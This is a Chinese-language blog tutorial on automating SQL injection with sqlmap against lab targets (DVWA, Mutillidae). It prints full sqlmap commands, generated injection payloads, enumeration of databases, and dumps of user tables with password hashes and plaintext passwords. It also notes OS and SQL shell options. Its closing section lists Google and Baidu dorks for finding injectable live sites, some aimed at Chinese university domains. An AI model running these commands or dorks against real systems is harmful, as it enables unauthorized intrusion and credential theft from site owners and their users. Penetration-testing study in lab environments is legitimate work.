安科网

3_SQL注入攻击_3_SQLmap自动化注入攻击

一对儿程序猿

一对儿程序猿

2020-01-18

关注 关注

0x00 SQLmap

SQL注入比较好的工具，首推开源工具SQLmap。SQLmap是一款国内外著名的安全测试工具；

可以用来进行自动化检测；

利用SQL注入漏洞，获取数据库服务器的权限；

它具有功能强大的搜索引擎，针对各种不同的数据库的安全测试的功能选项

包含获取数据库中的存储的数据，包含操作系统的中的文件，甚至可以通过外带数据连接的方式，来执行操作系统命令；

sqlmap支持的数据库有：MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

kali上的SQLmap

___
       __H__
 ___ ___[)]_____ ___ ___  {1.3.8#stable}
|_ -| . [‘]     | .‘| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

Usage: python2 sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program‘s version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)　　冗长的

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs

  Request:
    These options can be used to specify how to connect to the target URL　　　　这些选项可用于指定如何连接到目标URL

    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL　　使用代理连接到目标URL
    --tor               Use Tor anonymity network　　　　匿名网络的使用
    --check-tor         Check to see if Tor is used properly

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to provided value

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

  General:
    These options can be used to set some general working parameters         这些选项可用于设置一些常规工作参数

    --batch             Never ask for user input, use the default behavior   从不要求用户输入，使用默认行为
    --flush-session     Flush session files for current target　　　　　　　　　　刷新当前目标的会话文件

  Miscellaneous:　　　　其他：
    --sqlmap-shell      Prompt for an interactive sqlmap shell　　　　提示输入交互式sqlmap shell
    --wizard            Simple wizard interface for beginner users　　面向初学者的简单向导界面

[!] to see full list of options run with ‘-hh‘

0x01 注入测试

:/# sqlmap -u "http://192.168.153.139/dvwa/vulnerabilities/sqli/?id=1" --batch
:/# sqlmap -u "http://192.168.153.139/dvwa/vulnerabilities/sqli/?id=1" --batch --dbms=mysql
[11:55:47] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to ‘http://192.168.153.139:80/dvwa/login.php‘. Do you want to follow? [Y/n] Y
[11:55:47] [INFO] checking if the target is protected by some kind of WAF/IPS
[11:55:47] [INFO] testing if the target URL content is stable
[11:55:48] [WARNING] GET parameter ‘id‘ does not appear to be dynamic
[11:55:48] [WARNING] heuristic (basic) test shows that GET parameter ‘id‘ might not be injectable

发现不成功，重定向到了一个登陆界面；

0x01 get方法注入

先实验不登录的吧；

3_SQL注入攻击_3_SQLmap自动化注入攻击

 3_SQL注入攻击_3_SQLmap自动化注入攻击

随便输入测试；

Results for "1".0 records found.

http://192.168.153.139/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details

可能存在注入点，username和password

sqlmap -u "http://192.168.153.139/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --batch

发现太慢了；

sqlmap -u "http://192.168.153.139/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --batch --dbms=mysql -p username

这样就快多了

:/# sqlmap -u "http://192.168.153.139/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --batch --dbms=mysql -p username
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.3.8#stable}
|_ -| . ["]     | .‘| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user‘s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:13:08 /2020-01-18/

[12:13:08] [INFO] testing connection to the target URL
[12:13:09] [INFO] testing if the target URL content is stable
[12:13:10] [INFO] target URL content is stable
[12:13:11] [INFO] heuristic (basic) test shows that GET parameter ‘username‘ might be injectable (possible DBMS: ‘MySQL‘)
[12:13:13] [INFO] heuristic (XSS) test shows that GET parameter ‘username‘ might be vulnerable to cross-site scripting (XSS) attacks
[12:13:13] [INFO] testing for SQL injection on GET parameter ‘username‘
for the remaining tests, do you want to include all tests for ‘MySQL‘ extending provided level (1) and risk (1) values? [Y/n] Y
[12:13:13] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause‘
[12:13:15] [WARNING] reflective value(s) found and filtering out
[12:13:23] [INFO] testing ‘Boolean-based blind - Parameter replace (original value)‘
[12:13:25] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause (MySQL comment)‘
[12:14:03] [INFO] testing ‘OR boolean-based blind - WHERE or HAVING clause (MySQL comment)‘
[12:14:21] [INFO] GET parameter ‘username‘ appears to be ‘OR boolean-based blind - WHERE or HAVING clause (MySQL comment)‘ injectable (with --string="Signature=")
[12:14:21] [INFO] testing ‘MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)‘
[12:14:22] [INFO] testing ‘MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)‘
[12:14:23] [INFO] testing ‘MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)‘
[12:14:24] [INFO] testing ‘MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)‘
[12:14:25] [INFO] testing ‘MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)‘
[12:14:26] [INFO] testing ‘MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)‘
[12:14:27] [INFO] testing ‘MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)‘
[12:14:29] [INFO] GET parameter ‘username‘ is ‘MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)‘ injectable 
[12:14:29] [INFO] testing ‘MySQL inline queries‘
[12:14:29] [INFO] testing ‘MySQL > 5.0.11 stacked queries (comment)‘
[12:14:30] [INFO] testing ‘MySQL > 5.0.11 stacked queries‘
[12:14:31] [INFO] testing ‘MySQL > 5.0.11 stacked queries (query SLEEP - comment)‘
[12:14:32] [INFO] testing ‘MySQL > 5.0.11 stacked queries (query SLEEP)‘
[12:14:33] [INFO] testing ‘MySQL < 5.0.12 stacked queries (heavy query - comment)‘
[12:14:34] [INFO] testing ‘MySQL < 5.0.12 stacked queries (heavy query)‘
[12:14:35] [INFO] testing ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)‘
[12:14:48] [INFO] GET parameter ‘username‘ appears to be ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)‘ injectable 
[12:14:48] [INFO] testing ‘Generic UNION query (NULL) - 1 to 20 columns‘
[12:14:48] [INFO] testing ‘MySQL UNION query (NULL) - 1 to 20 columns‘
[12:14:48] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[12:14:50] [INFO] ‘ORDER BY‘ technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[12:14:54] [INFO] target URL appears to have 7 columns in query
[12:14:58] [INFO] GET parameter ‘username‘ is ‘MySQL UNION query (NULL) - 1 to 20 columns‘ injectable
[12:14:58] [WARNING] in OR boolean-based injection cases, please consider usage of switch ‘--drop-set-cookie‘ if you experience any problems during data retrieval
GET parameter ‘username‘ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 101 HTTP(s) requests:
---
Parameter: username (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: page=user-info.php&username=-9491‘ OR 9133=9133#&password=1&user-info-php-submit-button=View Account Details

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: page=user-info.php&username=1‘ AND (SELECT 1313 FROM(SELECT COUNT(*),CONCAT(0x71627a6271,(SELECT (ELT(1313=1313,1))),0x717a6b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jCgK&password=1&user-info-php-submit-button=View Account Details

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=user-info.php&username=1‘ AND (SELECT 4193 FROM (SELECT(SLEEP(5)))RJhf)-- NjWK&password=1&user-info-php-submit-button=View Account Details

    Type: UNION query
    Title: MySQL UNION query (NULL) - 7 columns
    Payload: page=user-info.php&username=1‘ UNION ALL SELECT NULL,NULL,CONCAT(0x71627a6271,0x41474f56446c45417a5065566b42734565625163505650627345726965764547514a70544f4f7765,0x717a6b7871),NULL,NULL,NULL,NULL#&password=1&user-info-php-submit-button=View Account Details
---
[12:14:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, PHP, Apache 2.2.14
back-end DBMS: MySQL >= 5.0
[12:14:59] [INFO] fetched data logged to text files under ‘/root/.sqlmap/output/192.168.153.139‘

获取数据库

sqlmap -u "http://192.168.153.139/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --batch --dbms=mysql -p username --dbs
available databases [34]:
[*] .svn
[*] bricks
[*] bwapp
[*] citizens
[*] cryptomg
[*] dvwa
[*] gallery2
[*] getboo
[*] ghost
[*] gtd-php
[*] hex
[*] information_schema
[*] isp
[*] joomla
[*] mutillidae
[*] mysql
[*] nowasp
[*] orangehrm
[*] personalblog
[*] peruggia
[*] phpbb
[*] phpmyadmin
[*] proxy
[*] rentnet
[*] sqlol
[*] tikiwiki
[*] vicnum
[*] wackopicko
[*] wavsepdb
[*] webcal
[*] webgoat_coins
[*] wordpress
[*] wraithlogin
[*] yazd

获取所有用户

sqlmap -u "http://192.168.153.139/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --batch --dbms=mysql -p username --users

当前用户

sqlmap -u "http://192.168.153.139/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --batch --dbms=mysql -p username --current -user

当前数据库

sqlmap -u "http://192.168.153.139/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --batch --dbms=mysql -p username --current-db

获得指定库的表的信息

sqlmap -u "http://192.168.153.139/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --batch --dbms=mysql -p username -D "wordpress" --tables
Database: wordpress
[14 tables]
+-------------------+
| wp_categories     |
| wp_comments       |
| wp_linkcategories |
| wp_links          |
| wp_mygallery      |
| wp_mygprelation   |
| wp_mypictures     |
| wp_options        |
| wp_post2cat       |
| wp_postmeta       |
| wp_posts          |
| wp_spreadsheet    |
| wp_usermeta       |
| wp_users          |
+-------------------+

获得表中的列信息

sqlmap -u "http://192.168.153.139/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --batch --dbms=mysql -p username -D "wordpress" -T "wp_users" --columns
Database: wordpress
Table: wp_users
[10 columns]
+---------------------+---------------------+
| Column              | Type                |
+---------------------+---------------------+
| display_name        | varchar(250)        |
| ID                  | bigint(20) unsigned |
| user_activation_key | varchar(60)         |
| user_email          | varchar(100)        |
| user_login          | varchar(60)         |
| user_nicename       | varchar(50)         |
| user_pass           | varchar(64)         |
| user_registered     | datetime            |
| user_status         | int(11)             |
| user_url            | varchar(100)        |
+---------------------+---------------------+

--dump-all

dump所有数据库

--dump --exclude-sysdbs

dump除了系统库之外的数据库

sqlmap -u "http://192.168.153.139/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --batch --dbms=mysql -p username -D "wordpress" -T "wp_users" --dump
Database: wordpress                                                                     
Table: wp_users
[2 entries]
+----+----------+------------------------------------------+------------+-------------------+-------------+--------------+---------------+---------------------+----------------------------------+
| ID | user_url | user_pass                                | user_login | user_email        | user_status | display_name | user_nicename | user_registered     | user_activation_key              |
+----+----------+------------------------------------------+------------+-------------------+-------------+--------------+---------------+---------------------+----------------------------------+
| 1  | http://  | 21232f297a57a5a743894a0e4a801fc3 (admin) | admin      |  | 0           | admin        | admin         | 2009-09-14 21:04:44 | 21b6b8fcdfc2330f329e9c3807bb6d53 |
| 2  | <blank>  | ee11cbb19052e40b07aac0ca060c23ee (user)  | user       |   | 0           | user         | user          | 2009-11-09 04:05:33 | <blank>                          |
+----+----------+------------------------------------------+------------+-------------------+-------------+--------------+---------------+---------------------+----------------------------------+
sqlmap -u "http://192.168.153.139/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --batch --dbms=mysql -p username -D "wordpress" -T "wp_users" -C "user_login,user_pass" --dump
Database: wordpress
Table: wp_users
[2 entries]
+------------+------------------------------------------+
| user_login | user_pass                                |
+------------+------------------------------------------+
| admin      | 21232f297a57a5a743894a0e4a801fc3 (admin) |
| user       | ee11cbb19052e40b07aac0ca060c23ee (user)  |
+------------+------------------------------------------+
+-----+----------+---------------+----------+--------------+-----------+-----------------------------------------+
| cid | username | lastname      | is_admin | password     | firstname | mysignature                             |
+-----+----------+---------------+----------+--------------+-----------+-----------------------------------------+
| 1   | admin    | Administrator | TRUE     | admin        | System    | g0t r00t?                               |
| 2   | adrian   | Crenshaw      | TRUE     | somepassword | Adrian    | Zombie Films Rock!                      |
| 3   | john     | Pentest       | FALSE    | monkey       | John      | I like the smell of confunk             |
| 4   | jeremy   | Druin         | FALSE    | password     | Jeremy    | d1373 1337 speak                        |
| 5   | bryce    | Galbraith     | FALSE    | password     | Bryce     | I Love SANS                             |
| 6   | samurai  | WTF           | FALSE    | samurai      | Samurai   | Carving fools                           |
| 7   | jim      | Rome          | FALSE    | password     | Jim       | Rome is burning                         |
| 8   | bobby    | Hill          | FALSE    | password     | Bobby     | Hank is my dad                          |
| 9   | simba    | Lion          | FALSE    | password     | Simba     | I am a super-cat                        |
| 10  | dreveil  | Evil          | FALSE    | password     | Dr.       | Preparation H                           |
| 11  | scotty   | Evil          | FALSE    | password     | Scotty    | Scotty do                               |
| 12  | cal      | Calipari      | FALSE    | password     | John      | C-A-T-S Cats Cats Cats                  |
| 13  | john     | Wall          | FALSE    | password     | John      | Do the Duggie!                          |
| 14  | kevin    | Johnson       | FALSE    | 42           | Kevin     | Doug Adams rocks                        |
| 15  | dave     | Kennedy       | FALSE    | set          | Dave      | Bet on S.E.T. FTW                       |
| 16  | patches  | Pester        | FALSE    | tortoise     | Patches   | meow                                    |
| 17  | rocky    | Paws          | FALSE    | stripes      | Rocky     | treats?                                 |
| 18  | tim      | Tomes         | FALSE    | lanmaster53  | Tim       | Because reconnaissance is hard to spell |
| 19  | ABaker   | Baker         | TRUE     | SoSecret     | Aaron     | Muffin tops only                        |
| 20  | PPan     | Pan           | FALSE    | NotTelling   | Peter     | Where is Tinker?                        |
| 21  | CHook    | Hook          | FALSE    | JollyRoger   | Captain   | Gator-hater                             |
| 22  | james    | Jardine       | FALSE    | i<3devs      | James     | Occupation: Researcher                  |
| 23  | user     | Account       | FALSE    | user         | User      | User Account                            |
| 24  | ed       | Skoudis       | FALSE    | pentest      | Ed        | Commandline KungFu anyone?              |
+-----+----------+---------------+----------+--------------+-----------+-----------------------------------------+

0x03 post注入

需要带cookie才能访问的带注入的界面

接着解决上面那个需要登录的注册界面

浏览器插件

3_SQL注入攻击_3_SQLmap自动化注入攻击

3_SQL注入攻击_3_SQLmap自动化注入攻击

# sqlmap -u "http://192.168.153.139/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --dbms=mysql  --cookie="PHPSESSID=f6o9igajc3mvb77vhbve9fsm54;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" -p "id" --dbs
available databases [2]:
[*] dvwa
[*] information_schema
sqlmap -u "http://192.168.153.139/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --dbms=mysql  --cookie="PHPSESSID=f6o9igajc3mvb77vhbve9fsm54;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" -p "id" -D "dvwa" --tables
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+
sqlmap -u "http://192.168.153.139/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --dbms=mysql  --cookie="PHPSESSID=f6o9igajc3mvb77vhbve9fsm54;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" -p "id" -D "dvwa" -T "users" --columns
Database: dvwa
Table: users
[6 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| user       | varchar(15) |
| avatar     | varchar(70) |
| first_name | varchar(15) |
| last_name  | varchar(15) |
| password   | varchar(32) |
| user_id    | int(6)      |
+------------+-------------+
sqlmap -u "http://192.168.153.139/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --dbms=mysql  --cookie="PHPSESSID=f6o9igajc3mvb77vhbve9fsm54;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" -p "id" -D "dvwa" -T "users" -C "user,password" --dump
Database: dvwa                                                                           
Table: users
[6 entries]
+---------+---------------------------------------------+
| user    | password                                    |
+---------+---------------------------------------------+
| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |
| admin   | 21232f297a57a5a743894a0e4a801fc3 (admin)    |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   |
| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |
| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| user    | ee11cbb19052e40b07aac0ca060c23ee (user)     |
+---------+---------------------------------------------+

0x03 提权

sqlmap -u "http://192.168.153.139/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --dbms=mysql  --cookie="PHPSESSID=f6o9igajc3mvb77vhbve9fsm54;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" -p "id" --sql-shell

--os-sql

--os-cmd=

--os-shell

0x04 综合

1.通过google搜索可能存在注入的网站
    inurl:.php?id=
    inurl:.jsp?id=
    inurl:.asp?id=
    inurl:/admin/login.php
    inurl:.php?id= intitle:美女
2.通过百度搜索可能存在的注入的页面
    inurl:news.asp?id= site:edu.cn
    inurl:news.php?id= site:edu.cn
    inurl:news.aspx?id= site:edu.cn

sqlmap url target

一对儿程序猿

一对儿程序猿

0 关注 0 粉丝 0 动态

关注 关注

相关推荐

sqlmap和手注

如果上面无效时，可以试试添加--data="name=value"来指定传参进行测试注入。-- 在SQL内表示注释，但在URL中，浏览器在发送请求的时候会把URL末尾的空格舍去，变成--，所以我们用--+代替-- ，原因是+在被URL编

旗木卡卡西 2020-06-02

sqlmap从入门到精通-第四章-4-8 sqlmap数据库拖库攻击与防范

原因是由于早年间多家媒体报道多家互联网网站数据库被公开下载，后制作社工库，用来查询公开的个人信息所致。 对账户进行身份和地域信息分类，将这些信息卖给需要的公司，公司通过精准的销售，营销手段获利，例如：卖楼，炒股，贷款。所以大家接到各种骚扰电话其原因之一就是

zyjj 2020-07-04

sqlmap从入门到精通-第四章-4-2 SQL Server获取webshell及提权基础

主要架构ASP+MSSQL+IIS或者ASP.NET+MSSQL+IIS ，PHP和JSP架构也是支持MSSQL. 通过翻查conn.aspx, config.aspx, conn.asp, config.asp, config.php, web.conf

bluet00 2020-06-25

第三天--注入攻击：Web安全之SQL注入漏洞专题

第三天--注入攻击：Web安全之SQL注入漏洞专题。SQL手工注入上节课就讲过了,简单复习下。使用union联合查询数据库，数据表，字段以及字段信息。Sqlmap.py –u URL –p 具体参数。结合Burpsuite读取日志文件。Burp提取HTTP

godfather 2020-06-13

SQLMAP 弹二 传入数据全局使用

一开始研究了一会儿的数据跳着传递，后来发现sqlmap本身的conf是一个全局实例，在开始的时候进行初始化，在之后的各个流程中都有引用。所以集群名或者其他数据可以通过参数的形式传入conf配置里，再在其他地方调用。] to see full list of

lt云飞扬gt 2020-06-09

DVWA+SQLMAP

最近在做一个DVWA本地***测试的一个演练，其中遇到的一些问题做一个记录。附上sqlmap执行语句。

tanrong 2020-06-03

sqlmap过狗脚本练习1

本地搭建sql注入网站练习。测试安全狗，输入不合法参数被安全狗拦截：。检测到防护机制，失败；将空格替换为 “/*//\*//\*\/c*/” 成功绕过安全狗；if i =="‘" and i==‘"‘:. 加上脚本继续跑：。（

徐悦TechBlog 2020-05-27

sqlmap基本使用

　　　　Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB. 　　基于时间的盲注：即根据页面返回的内容判断任何信息，要利用条件语句查询时间延迟语句是否执行来判断。　　　　或者抓包之后将请求头放

liuyang000 2020-03-05

Pikahu-SQL注入模块和sqlmap经典用法

sql注入漏洞 危害是最大得。sql注入类型： 数字型 user_id=$id. 　　　　　　　搜索型 text like ‘%{$_GET[‘search‘]}‘ ". select 字段1 from table where id=1 会显示表

xuanlvhaoshao 2020-02-21

sqlmap常用命令

--------------------------------------------------------------------------------------------------------------------------------

ItBJLan 2020-02-20

登陆页面Sql注入（绕过）

到这里我就基本上没辙了，不过查询了资料以后发现sqlmap可以对登录页面进行注入。“sqlmap的爬虫会爬取自定义的深度以及寻找form表单并自动填充缺失的数据加入扫描”，换句话说sqlmap可以对登陆页面进行注入，并且它会自动寻找注入框来填充数据测试sq

tanrong 2020-02-15

sqlmap在https情况下的一个错误

对于https网站，使用sqlmap可能会出现如下错误。// curl_setopt; // post 提交方式

PinkBean 2020-02-12

DVWA靶机-sql自动注入

打开sql漏洞，发现输入不同的数字会返回不同的信息，前面一个单引号闭合了查询语句自带的第一个单引号，or 1=1 使得结果永远为真，sqlmap需要python环境才能运行。这里先别急着粘贴url，因为登陆dvwa靶机需要用户名和密码，所以会有cookie

gwn00 2020-02-01

利用sqlmap进行POST注入

sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n --dbs注：-r表示加载一个文件，-p指定参数。it looks like the back-end DBMS is ‘MySQL

xuanlvhaoshao 2020-01-02

SQLMap使用

sqlmap是一款SQL注入漏洞测试工具，支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP Ma

gwn00 2020-01-09

在windows系统和kali中通过sqlmap注入

Sqlmap是目前功能最强大，使用最为广泛的注入类工具，是一个开源软件，被集成于kaliLinux，由于sqlmap是基于Python编写，所以需要在系统中先安装好2.7.x版本的Python，然后将下载好的sqlmap放在Python2.7目录下，这里P

tanrong 2019-12-22

sqlmap tamper脚本扩展开发(Bypass IPS)

首先先对比一下两个自带的tamper脚本，看看sqlmap调用tamper有没有依赖什么类库或者算法.例如调用tamper是导入之后调用脚本里的某函数，那么我们开发的tamper脚本也应该有调用要用到的函数，主要看算法吧，咳咳。* Useful to by

tanrong 2019-12-16

sql注入原理

select * from admin where username = ‘用户输入的用户名‘ and password =用户输入的密码‘。sqlmap -u "192. 168.1.104 : 8081/ cms/articles. php?

一对儿程序猿 2019-11-10

Nmap、Sqlmap等工具使用

-u 指定注入点url-r 指定request？--dbs 暴库--tables 列出表--columns 列出字段--dump 下载数据--beach 程序自动输入询问语句的[Y/N]--current-db web当前使用的数据库--start 指定开

YFCEMBEDD 2019-11-09

SQL注入之sqlmap进阶

上一篇我们对sqlmap进行简单的介绍，并介绍了一些·sqlmap的基础用法，这篇让我们来更深入的了解一下sqlmap，了解一下它的强大功能。在sqlmap中一共有五个探测等级，默认等级为一。等级为二时会测试HTTP头的cookie注入。等级为三时会测试H

一对儿程序猿 2019-11-06
一对儿程序猿

一对儿程序猿

W3CSchool教程
HTML 教程
CSS 教程
Bootstrap 教程
Javascript 教程
jQuery 教程
后端教程
C 教程
Java 教程
PHP 教程
Python 教程
Go 教程
移动开发
Android 教程
Swift 教程
Kotlin 教程
jQuery Mobile 教程
ionic 教程
关于我们
新闻动态
联系方式
招聘英才
安科实验室
帮助与反馈

安科网(Ancii)，中国第一极客网

Copyright © 2013 - 2019 Ancii.com

京ICP备18063983号 京公网安备11010802014868号